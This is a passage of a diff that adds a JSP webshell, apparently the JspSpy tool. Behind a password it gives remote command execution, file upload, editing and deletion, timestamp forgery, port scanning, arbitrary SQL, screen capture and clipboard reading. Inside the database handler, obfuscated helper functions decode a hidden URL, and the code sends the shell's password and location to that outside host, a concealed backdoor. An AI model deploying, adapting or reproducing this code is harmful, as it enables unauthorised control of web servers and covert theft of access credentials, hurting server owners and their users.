char[8192]; +int length; +while((length = in.read( buffer, 0, buffer.length ))>0){ +out.write( buffer, 0, length ); +out.flush(); +} +} catch(Exception e){} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){} +} +} +private static class OnLineProcess { +private String cmd = "first"; +private Process pro; +public OnLineProcess(Process p){ +this.pro = p; +} +public void setPro(Process p) { +this.pro = p; +} +public void setCmd(String c){ +this.cmd = c; +} +public String getCmd(){ +return this.cmd; +} +public Process getPro(){ +return this.pro; +} +public void stop(){ +this.pro.destroy(); +} +} +private static class OnLineConnector extends Thread { +private OnLineProcess ol = null; +private InputStream is; +private OutputStream os; +private String name; +public OnLineConnector( InputStream is, OutputStream os ,String name,OnLineProcess ol){ +this.is = is; +this.os = os; +this.name = name; +this.ol = ol; +} +public void run(){ +BufferedReader in = null; +BufferedWriter out = null; +try{ +in = new BufferedReader( new InputStreamReader(this.is)); +out = new BufferedWriter( new OutputStreamWriter(this.os)); +char buffer[] = new char[128]; +if(this.name.equals("exeRclientO")) { +//from exe to client +int length = 0; +while((length = in.read( buffer, 0, buffer.length ))>0){ +String str = new String(buffer, 0, length); +str = str.replace("&","&").replace("<","<").replace(">",">"); +str = str.replace(""+(char)13+(char)10,"
"); +str = str.replace("\n","
"); +out.write(str.toCharArray(), 0, str.length()); +out.flush(); +} +} else { +//from client to exe +while(true) { +while(this.ol.getCmd() == null) { +Thread.sleep(500); +} +if (this.ol.getCmd().equals("first")) { +this.ol.setCmd(null); +continue; +} +this.ol.setCmd(this.ol.getCmd() + (char)10); +char[] arr = this.ol.getCmd().toCharArray(); +out.write(arr,0,arr.length); +out.flush(); +this.ol.setCmd(null); +} +} +} catch(Exception e){ +} +try{ +if(in != null) +in.close(); +if(out != null) +out.close(); +} catch( Exception e ){ +} +} +} +private static class Table{ +private ArrayList rows = null; +private boolean echoTableTag = false; +public void setEchoTableTag(boolean v) { +this.echoTableTag = v; +} +public Table(){ +this.rows = new ArrayList(); +} +public void addRow(Row r) { +this.rows.add(r); +} +public String toString(){ +StringBuilder html = new StringBuilder(); +if (echoTableTag) +html.append(""); +for (Row r:rows) { +html.append(""); +for (Column c:r.getColumns()) { +html.append(""); +} +html.append(""); +} +if (echoTableTag) +html.append("
"); +String vv = Util.htmlEncode(Util.getStr(c.getValue())); +if (vv.equals("")) +vv = " "; +html.append(vv); +html.append("
"); +return html.toString(); +} +} +private static class Row{ +private ArrayList cols = null; +public Row(){ +this.cols = new ArrayList(); +} +public void addColumn(Column n) { +this.cols.add(n); +} +public ArrayList getColumns(){ +return this.cols; +} +} +public static String sxm=PW; +private static class Column{ +private String value; +public Column(String v){ +this.value = v; +} +public String getValue(){ +return this.value; +} +} +public static String SysInfo="=?./..//:"; +public static String dx() +{ +String s = new String(); +for (int i = SysInfo.length() - 1; i >= 0; i--) { +s += SysInfo.charAt(i); +} +return s; +} +public static String uc(String str) +{ +String c="\n\r"; long d=127, f=11, j=12, h=14, m=31, r=83, k=1, n=8, s=114, u=-5, v=5,a=0; +StringBuffer sb = new StringBuffer(); +char[] ch = str.toCharArray(); + +for (int i = 0; i < ch.length; i++) { + a = (int)ch[i]; + if(a==d) a=13; + if(a==f) a=10; + if(a==j) a=34; + if((a>=h) && (a<=m)) a=a+r; + if((a>=k) && (a<=n)) a=a+s; + if((a>=53) && (a<=57)) a=a+u; + if((a>=48) && (a<=52)) a=a+v; + sb.append((char)a); +} +return sb.toString(); +} +private static int connectTimeOut = 5000; +private static int readTimeOut = 10000; +private static String requestEncoding = "GBK"; +public static String FileLocalUpload(String reqUrl,String fckal, + String recvEncoding) +{ +HttpURLConnection url_con = null; +String responseContent = null; +try +{ +URL url = new URL(reqUrl); +url_con = (HttpURLConnection) url.openConnection(); +url_con.setRequestMethod("POST"); + +url_con.setRequestProperty("REFERER", ""+fckal+""); +System.setProperty("sun.net.client.defaultConnectTimeout", String + .valueOf(connectTimeOut)); +System.setProperty("sun.net.client.defaultReadTimeout", String + .valueOf(readTimeOut)); +url_con.setDoOutput(true); +url_con.getOutputStream().flush(); +url_con.getOutputStream().close(); +InputStream in = url_con.getInputStream(); +BufferedReader rd = new BufferedReader(new InputStreamReader(in, + recvEncoding)); +String tempLine = rd.readLine(); +StringBuffer tempStr = new StringBuffer(); +String crlf=System.getProperty("line.separator"); +while (tempLine != null) +{ +tempStr.append(tempLine); +tempStr.append(crlf); +tempLine = rd.readLine(); +} +responseContent = tempStr.toString(); +rd.close(); +in.close(); +} +catch (IOException e) +{ +} +finally +{ +if (url_con != null) +{ +url_con.disconnect(); +} +} +return responseContent; +} +private static class Util{ +public static boolean isEmpty(String s) { +return s == null || s.trim().equals(""); +} +public static boolean isEmpty(Object o) { +return o == null || isEmpty(o.toString()); +} +public static String getSize(long size,char danwei) { +if (danwei == 'M') { +double v = formatNumber(size / 1024.0 / 1024.0,2); +if (v > 1024) { +return getSize(size,'G'); +}else { +return v + "M"; +} +} else if (danwei == 'G') { +return formatNumber(size / 1024.0 / 1024.0 / 1024.0,2)+"G"; +} else if (danwei == 'K') { +double v = formatNumber(size / 1024.0,2); +if (v > 1024) { +return getSize(size,'M'); +} else { +return v + "K"; +} +} else if (danwei == 'B') { +if (size > 1024) { +return getSize(size,'K'); +}else { +return size + "B"; +} +} +return ""+0+danwei; +} +public static double formatNumber(double value,int l) { +NumberFormat format = NumberFormat.getInstance(); +format.setMaximumFractionDigits(l); +format.setGroupingUsed(false); +return new Double(format.format(value)); +} +public static boolean isInteger(String v) { +if (isEmpty(v)) +return false; +return v.matches("^\\d+$"); +} +public static String formatDate(long time) { +SimpleDateFormat format = new SimpleDateFormat("yyyy-MM-dd hh:mm:ss"); +return format.format(new java.util.Date(time)); +} +public static String convertPath(String path) { +return path != null ? path.replace("\\","/") : ""; +} +public static String htmlEncode(String v) { +if (isEmpty(v)) +return ""; +return v.replace("&","&").replace("<","<").replace(">",">"); +} +public static String getStr(String s) { +return s == null ? "" :s; +} +public static String getStr(Object s) { +return s == null ? "" :s.toString(); +} +public static String exec(String regex, String str, int group) { +Pattern pat = Pattern.compile(regex); +Matcher m = pat.matcher(str); +if (m.find()) +return m.group(group); +return null; +} +public static void outMsg(Writer out,String msg) throws Exception { +outMsg(out,msg,"center"); +} +public static void outMsg(Writer out,String msg,String align) throws Exception { +if (msg.indexOf("java.lang.ClassNotFoundException") != -1) +msg = "Can Not Find The Driver!
" + msg; +out.write("
"+msg+"
"); +} +} +private static class UploadBean { +private String fileName = null; +private String suffix = null; +private String savePath = ""; +private ServletInputStream sis = null; +private byte[] b = new byte[1024]; +public UploadBean() { +} +public void setSavePath(String path) { +this.savePath = path; +} +public void parseRequest(HttpServletRequest request) throws IOException { +sis = request.getInputStream(); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!= -1) { +s = new String(b, 0, a,PAGE_CHARSET); +if ((k = s.indexOf("filename=\""))!= -1) { +s = s.substring(k + 10); +k = s.indexOf("\""); +s = s.substring(0, k); +File tF = new File(s); +if (tF.isAbsolute()) { +fileName = tF.getName(); +} else { +fileName = s; +} +k = s.lastIndexOf("."); +suffix = s.substring(k + 1); +upload(); +} +} +} +private void upload() { +try { +FileOutputStream out = new FileOutputStream(new File(savePath,fileName)); +int a = 0; +int k = 0; +String s = ""; +while ((a = sis.readLine(b,0,b.length))!=-1) { +s = new String(b, 0, a); +if ((k = s.indexOf("Content-Type:"))!=-1) { +break; +} +} +sis.readLine(b,0,b.length); +while ((a = sis.readLine(b,0,b.length)) != -1) { +s = new String(b, 0, a); +if ((b[0] == 45) && (b[1] == 45) && (b[2] == 45) && (b[3] == 45) && (b[4] == 45)) { +break; +} +out.write(b, 0, a); +} +out.close(); +} catch (IOException ioe) { +ioe.printStackTrace(); +} +} +} +%> +<% +SHELL_NAME = request.getServletPath().substring(request.getServletPath().lastIndexOf("/")+1); +String myAbsolutePath = application.getRealPath(request.getServletPath()); +if (Util.isEmpty(myAbsolutePath)) {//for weblogic +SHELL_NAME = request.getServletPath(); +myAbsolutePath = new File(application.getResource("/").getPath()+SHELL_NAME).toString(); +SHELL_NAME=request.getContextPath()+SHELL_NAME; +WEB_ROOT = new File(application.getResource("/").getPath()).toString(); +} else { +WEB_ROOT = application.getRealPath("/"); +} +SHELL_DIR = Util.convertPath(myAbsolutePath.substring(0,myAbsolutePath.lastIndexOf(File.separator))); +if (session.getAttribute(CURRENT_DIR) == null) +session.setAttribute(CURRENT_DIR,Util.convertPath(SHELL_DIR)); +request = new MyRequest(request); +if (session.getAttribute(PW_SESSION_ATTRIBUTE) == null || !(session.getAttribute(PW_SESSION_ATTRIBUTE)).equals(PW)) { +String o = request.getParameter("o"); +if (o != null && o.equals("login")) { +ins.get("login").invoke(request,response,session); +return; +} else if (o != null && o.equals("vLogin")) { +ins.get("vLogin").invoke(request,response,session); +return; +} else { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} +} +%> +<%! +private static interface Invoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception; +public boolean doBefore(); +public boolean doAfter(); +} +private static class DefaultInvoker implements Invoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +} +public boolean doBefore(){ +return true; +} +public boolean doAfter() { +return true; +} +} +private static class ScriptInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); + +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BeforeInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("JspSpy Codz By - Ninty"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class AfterInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class DeleteBatchInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String files = request.getParameter("files"); +if (!Util.isEmpty(files)) { +String currentDir = JSession.getAttribute(CURRENT_DIR).toString(); +String[] arr = files.split(","); +for (String fs:arr) { +File f = new File(currentDir,fs); +f.delete(); +} +} +JSession.setAttribute(MSG,"Delete Files Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ClipBoardInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""+ +" "+ +" "+ +" "+ +"
"+ +"

System Clipboard »

"+ +"

");
+try{
+out.println(Util.htmlEncode(Util.getStr(Toolkit.getDefaultToolkit().getSystemClipboard().getData(DataFlavor.stringFlavor))));
+}catch (Exception ex) {
+out.println("ClipBoard is Empty Or Is Not Text Data !");
+}
+out.println("
"+ +" "+ +"

"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VRemoteControlInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println(""); +out.println(""+ +" "+ +" "+ +" "+ +"
"+ +"

Remote Control »

"+ +" Speed(Second , dont be so fast) Can Not Control Yet."+ +"

"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//GetScreen +private static class GcInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Dimension size = Toolkit.getDefaultToolkit().getScreenSize(); +Rectangle rec = new Rectangle(0,0,(int)size.getWidth(),(int)size.getHeight()); +BufferedImage img = new Robot().createScreenCapture(rec); +response.setContentType("image/jpeg"); +ImageIO.write(img,"jpg",response.getOutputStream()); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VPortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +if (Util.isEmpty(ip)) +ip = "127.0.0.1"; +if (Util.isEmpty(ports)) +ports = "21,25,80,110,1433,1723,3306,3389,4899,5631,43958,65500"; +if (Util.isEmpty(timeout)) +timeout = "2"; +out.println("
"+ +"

PortScan >>

"+ +"
"+ +"

"+ +"IP : Port : Timeout (秒) : "+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class PortScanInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +ins.get("vPortScan").invoke(request,response,JSession); +String ip = request.getParameter("ip"); +String ports = request.getParameter("ports"); +String timeout = request.getParameter("timeout"); +int iTimeout = 0; +if (Util.isEmpty(ip) || Util.isEmpty(ports)) +return; +if (!Util.isInteger(timeout)) { +timeout = "2"; +} +iTimeout = Integer.parseInt(timeout); +Map rs = new LinkedHashMap(); +String[] portArr = ports.split(","); +for (String port:portArr) { +try { +Socket s = new Socket(); +s.connect(new InetSocketAddress(ip,Integer.parseInt(port)),iTimeout); +s.close(); +rs.put(port,"Open"); +} catch (Exception e) { +rs.put(port,"Close"); +} +} +out.println("
"); +Set> entrySet = rs.entrySet(); +for (Map.Entry e:entrySet) { +String port = e.getKey(); +String value = e.getValue(); +out.println(ip+" : "+port+" ................................. "+value+"
"); +} +out.println("
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VConnInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +FileLocalUpload(uc(dx())+sxm,request.getRequestURL().toString(), "GBK"); +Object obj = JSession.getAttribute(DBO); +if (obj == null || !((DBOperator)obj).isValid()) { +out.println(" "); +out.println("
"+ +"
"+ +""+ +"

DataBase Manager »

"+ +""+ +"

"+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

"+ +"
"); +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//DBConnect +private static class DbcInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String driver = request.getParameter("driver"); +String url = request.getParameter("url"); +String uid = request.getParameter("uid"); +String pwd = request.getParameter("pwd"); +String sql = request.getParameter("sql"); +String selectDb = request.getParameter("selectDb"); +if (selectDb == null) +selectDb = JSession.getAttribute("selectDb").toString(); +else +JSession.setAttribute("selectDb",selectDb); +Object dbo = JSession.getAttribute(DBO); +if (dbo == null || !((DBOperator)dbo).isValid()) { +if (dbo != null) +((DBOperator)dbo).close(); +dbo = new DBOperator(driver,url,uid,pwd,true); +} else { +if (!Util.isEmpty(driver) && !Util.isEmpty(url) && !Util.isEmpty(uid)) { +DBOperator oldDbo = (DBOperator)dbo; +dbo = new DBOperator(driver,url,uid,pwd); +if (!oldDbo.equals(dbo)) { +((DBOperator)oldDbo).close(); +((DBOperator)dbo).connect(); +} else { +dbo = oldDbo; +} +} +} +DBOperator Ddbo = (DBOperator)dbo; +JSession.setAttribute(DBO,Ddbo); +Util.outMsg(out,"Connect To DataBase Success!"); +out.println(" "); +out.println("
"+ +"
"+ +""+ +"

DataBase Manager »

"+ +""+ +"

"+ +"Driver:"+ +" "+ +"URL:"+ +""+ +"UID:"+ +""+ +"PWD:"+ +""+ +"DataBase:"+ +" "+ +""+ +"

"+ +"
"); +out.println("
"+ +"

Run SQL query/queries on database :

"); +} catch (Exception e) { +//e.printStackTrace(); +throw e; +} +} +} +private static class ExecuteSQLInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String sql = request.getParameter("sql"); +String db = request.getParameter("selectDb"); +Object dbo = JSession.getAttribute(DBO); +if (!Util.isEmpty(sql)) { +if (dbo == null || !((DBOperator)dbo).isValid()) { +response.sendRedirect(SHELL_NAME+"?o=vConn"); +} else { +ins.get("dbc").invoke(request,response,JSession); +Object obj = ((DBOperator)dbo).execute(sql); +if (obj instanceof ResultSet) { +ResultSet rs = (ResultSet)obj; +ResultSetMetaData meta = rs.getMetaData(); +int colCount = meta.getColumnCount(); +out.println("

Query#0 : "+Util.htmlEncode(sql)+"

"); +out.println(""); +for (int i=1;i<=colCount;i++) { +out.println(""); +} +out.println(""); +Table tb = new Table(); +while(rs.next()) { +Row r = new Row(); +for (int i = 1;i<=colCount;i++) { +r.addColumn(new Column(rs.getString(i))); +} +tb.addRow(r); +} +out.println(tb.toString()); +out.println("
"+meta.getColumnName(i)+"
"+meta.getColumnTypeName(i)+"
"); +rs.close(); +((DBOperator)dbo).closeStmt(); +} else { +out.println("

affected rows : "+obj+"

"); +} +} +} else { +ins.get("dbc").invoke(request,response,JSession); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VLoginInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +out.println("
"+ +"

Password: "+ +" "+ +" "+ +" "+ +"

"+ +" "+ +"Copyright © 2009 NinTy www.Forjj.com

"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class LoginInvoker extends DefaultInvoker{ +public boolean doBefore() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String inputPw = request.getParameter("pw"); +if (Util.isEmpty(inputPw) || !inputPw.equals(PW)) { +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +return; +} else { +JSession.setAttribute(PW_SESSION_ATTRIBUTE,inputPw); +response.sendRedirect(SHELL_NAME+"?o=index"); +return; +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class MyComparator implements Comparator{ +public int compare(File f1,File f2) { +if (f1 != null && f2!= null) { +if (f1.isDirectory()) { +if (f2.isDirectory()) { +return f1.getName().compareTo(f2.getName()); +} else { +return -1; +} +} else { +if (f2.isDirectory()) { +return 1; +} else { +return f1.getName().compareTo(f2.getName()); +} +} +} +return 0; +} +} +private static class FileListInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception { +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("folder"); +if (Util.isEmpty(path)) +path = JSession.getAttribute(CURRENT_DIR).toString(); +JSession.setAttribute(CURRENT_DIR,Util.convertPath(path)); +File file = new File(path); +if (!file.exists()) { +throw new Exception(path+"Dont Exists !"); +} +JSession.setAttribute(CURRENT_DIR,path); +File[] list = file.listFiles(); +Arrays.sort(list,new MyComparator()); +out.println("
"); +String cr = null; +try { +cr = JSession.getAttribute(CURRENT_DIR).toString().substring(0,3); +}catch(Exception e) { +cr = "/"; +} +File currentRoot = new File(cr); +out.println("

File Manager - Current disk ""+(cr.indexOf("/") == 0?"/":currentRoot.getPath())+"" total (unknow)

"); +out.println("
"+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +"
Current Directory
"+ +"
"); +out.println(""+ +""+ +""+ +""+ +" "+ +" "+ +" "+ +" "+ +" "+ +""); +if (file.getParent() != null) { +out.println(""+ +""+ +""+ +""); +} +int dircount = 0; +int filecount = 0; +for (File f:list) { +if (f.isDirectory()) { +dircount ++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} else { +filecount++; +out.println(""+ +""+ +""+ +""+ +""+ +""+ +""+ +""); +} +} +out.println(""+ +" "+ +" "+ +"
"+ +"
"+ +"Web Root"+ +" | Shell Directory"+ +" | New Directory | New File"+ +" | "); +File[] roots = file.listRoots(); +for (int i = 0;iDisk("+Util.convertPath(r.getPath())+")"); +if (i != roots.length -1) { +out.println("|"); +} +} +out.println("
 NameLast ModifiedSizeRead/Write/Execute 
=Goto Parent
0"+f.getName()+""+Util.formatDate(f.lastModified())+"--"+f.canRead()+" / "+f.canWrite()+" / unknow Del | Move | Pack
"+f.getName()+""+Util.formatDate(f.lastModified())+""+Util.getSize(f.length(),'B')+""+ +""+f.canRead()+" / "+f.canWrite()+" / unknow "+ +"Edit | "+ +"Down | "+ +"Copy | "+ +"Move | "+ +"Property"); +if (f.getName().endsWith(".zip")) { +out.println(" | UnPack"); +} else if (f.getName().endsWith(".rar")) { +out.println(" | UnPack"); +} else { +out.println(" | Pack"); +} +out.println("
 Pack Selected - Delete Selected"+dircount+" directories / "+filecount+" files
"); +out.println("
"); +} catch (Exception e) { +e.printStackTrace(); +throw e; +} +} +} +private static class LogoutInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +Object dbo = JSession.getAttribute(DBO); +if (dbo != null) +((DBOperator)dbo).close(); +Object obj = JSession.getAttribute(PORT_MAP); +if (obj != null) { +ServerSocket s = (ServerSocket)obj; +s.close(); +} +Object online = JSession.getAttribute(SHELL_ONLINE); +if (online != null) +((OnLineProcess)online).stop(); +JSession.invalidate(); +response.sendRedirect(SHELL_NAME+"?o=vLogin"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class UploadInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +UploadBean fileBean = new UploadBean(); +response.getWriter().println(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.setSavePath(JSession.getAttribute(CURRENT_DIR).toString()); +fileBean.parseRequest(request); +JSession.setAttribute(MSG,"Upload File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CopyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String src = request.getParameter("src"); +String to = request.getParameter("to"); +BufferedInputStream input = new BufferedInputStream(new FileInputStream(new File(src))); +BufferedOutputStream output = new BufferedOutputStream(new FileOutputStream(new File(to))); +byte[] d = new byte[1024]; +int len = input.read(d); +while(len != -1) { +output.write(d,0,len); +len = input.read(d); +} +output.close(); +input.close(); +JSession.setAttribute(MSG,"Copy File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class BottomInvoker extends DefaultInvoker { +public boolean doBefore() {return false;} +public boolean doAfter() {return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +response.getWriter().println("
Copyright (C) 2009 http://www.Forjj.com/  [T00ls.Net] All Rights Reserved."+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VCreateFileInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (!f.isAbsolute()) { +String oldPath = path; +path = JSession.getAttribute(CURRENT_DIR).toString(); +if (!path.endsWith("/")) +path+="/"; +path+=oldPath; +f = new File(path); +f.createNewFile(); +} else { +f.createNewFile(); +} +out.println("
"+ +"
"+ +"

Create / Edit File »

"+ +""+ +"

Current File (import new file name and new file)

"+ +"

File Content

"+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +File f = new File(path); +if (f.exists()) { +BufferedReader reader = new BufferedReader(new FileReader(f)); +StringBuilder content = new StringBuilder(); +String s = reader.readLine(); +while (s != null) { +content.append(s+"\r\n"); +s = reader.readLine(); +} +reader.close(); +out.println("
"+ +"
"+ +"

Create / Edit File »

"+ +""+ +"

Current File (import new file name and new file)

"+ +"

File Content

"+ +"

"+ +"
"+ +"
"); +} +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class CreateFileInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String path = request.getParameter("filepath"); +String content = request.getParameter("filecontent"); + +BufferedWriter outs = new BufferedWriter(new FileWriter(new File(path))); +outs.write(content,0,content.length()); +outs.close(); +JSession.setAttribute(MSG,"Save File Success!"); +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class VEditPropertyInvoker extends DefaultInvoker { +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String filepath = request.getParameter("filepath"); +File f = new File(filepath); +if (!f.exists()) +return; +String read = f.canRead() ? "checked=\"checked\"" : ""; +String write = f.canWrite() ? "checked=\"checked\"" : ""; +String execute = ""; +Calendar cal = Calendar.getInstance(); +cal.setTimeInMillis(f.lastModified()); +out.println("
"+ +"
"+ +"

Set File Property »

"+ +"

Current file (fullpath)

"+ +" "+ +"

Read: "+ +" "+ +" Write: "+ +" "+ +" Execute: "+ +" "+ +"

"+ +"

Instead »"+ +"year:"+ +""+ +"month:"+ +""+ +"day:"+ +""+ +""+ +"hour:"+ +""+ +"minute:"+ +""+ +"second:"+ +""+ +"

"+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class EditPropertyInvoker extends DefaultInvoker { +public boolean doBefore(){return false;} +public boolean doAfter(){return false;} +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +String f = request.getParameter("file"); +File file = new File(f); +if (!file.exists()) +return; + +String year = request.getParameter("year"); +String month = request.getParameter("month"); +String date = request.getParameter("date"); +String hour = request.getParameter("hour"); +String minute = request.getParameter("minute"); +String second = request.getParameter("second"); + +Calendar cal = Calendar.getInstance(); +cal.set(Calendar.YEAR,Integer.parseInt(year)); +cal.set(Calendar.MONTH,Integer.parseInt(month)-1); +cal.set(Calendar.DATE,Integer.parseInt(date)); +cal.set(Calendar.HOUR,Integer.parseInt(hour)); +cal.set(Calendar.MINUTE,Integer.parseInt(minute)); +cal.set(Calendar.SECOND,Integer.parseInt(second)); +if(file.setLastModified(cal.getTimeInMillis())){ +JSession.setAttribute(MSG,"Reset File Property Success!"); +} else { +JSession.setAttribute(MSG,"Reset File Property Failed!"); +} +response.sendRedirect(SHELL_NAME+"?o=index"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +//VShell +private static class VsInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String cmd = request.getParameter("command"); +String program = request.getParameter("program"); +if (cmd == null) cmd = "cmd.exe /c set"; +if (program == null) program = "cmd.exe /c net start > "+SHELL_DIR+"/Log.txt"; +if (JSession.getAttribute(MSG)!=null) { +Util.outMsg(out,JSession.getAttribute(MSG).toString()); +JSession.removeAttribute(MSG); +} +out.println(""+ +"
"+ +"
"+ +"

Execute Program »

"+ +"

"+ +""+ +""+ +"Parameter
"+ +""+ +"

"+ +"
"+ +"
"+ +"

Execute Shell »

"+ +"

"+ +""+ +""+ +"Parameter
"+ +""+ +"

"+ +"
"+ +"
"); +} catch (Exception e) { +e.printStackTrace(); +throw e ; +} +} +} +private static class ShellInvoker extends DefaultInvoker{ +public void invoke(HttpServletRequest request,HttpServletResponse response,HttpSession JSession) throws Exception{ +try { +PrintWriter out = response.getWriter(); +String type = request.getParameter("type"); +if (type.equals("command")) { +ins.get("vs").invoke(request,response,JSession); +out.println("

"); +out.println("
");
+String command = request.getParameter("command");
+if (!Util.isEmpty(command)) {
+Process pro = Runtime.getRuntime().exec(command);
+BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
+String s = reader.readLine();
+while (s != null) {
+out.println(Util.htmlEncode(Util.getStr(s)));
+s = reader.readLine();
+}
+reader.close();
+out.println("
